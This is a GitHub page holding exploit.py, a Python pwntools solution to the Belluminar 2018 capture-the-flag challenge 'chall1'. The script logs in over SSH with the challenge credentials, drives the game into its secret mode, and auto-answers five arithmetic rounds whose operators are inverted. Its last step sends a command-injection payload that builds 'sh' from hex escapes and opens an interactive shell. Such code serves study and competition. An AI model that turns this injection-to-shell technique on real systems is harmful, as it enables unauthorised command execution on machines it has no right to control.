forked from cokia/Belluminar2018_chall1
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
44 lines (38 loc) · 1.12 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
# context.log_level = 'debug'
s = ssh(host='ubuntu.hanukoon.com', user='chall1', password='givemeflag')
p = s.process('./main_exe')
p.send('\n') # start game
p.sendline('q') # quit game
p.sendline('TeamH4C') # input name
p.sendline('asdf') # input comment
p.sendline('H4C') # secret mode!!!
p.recv()
for repeat in range(5):
print p.recvuntil('(New Wave!)')
q = p.recv(2048).replace('Your Attack:', '').strip()
for f in ['<[', ']>', '=>> ((???))', '!']:
q = q.replace(f, '').strip()
print('question:', q)
num = []
oper = []
for idx, this in enumerate(q.split(' ')):
if idx%2!=0: # operater
oper.append(this)
else: # num
num.append(int(this))
print(num, oper)
ans = num[0]
for i in range(4):
if oper[i] in ('-', '/'):
ans += num[i+1]
elif oper[i] in ('+', '%'):
ans -= num[i+1]
else:
ans *= num[i+1]
print('answer:', ans)
p.sendline(str(ans))
print [p.recvline()]
log.success(str(repeat+1))
p.sendline(";$'\\x73\\x68'") # command injection
p.interactive()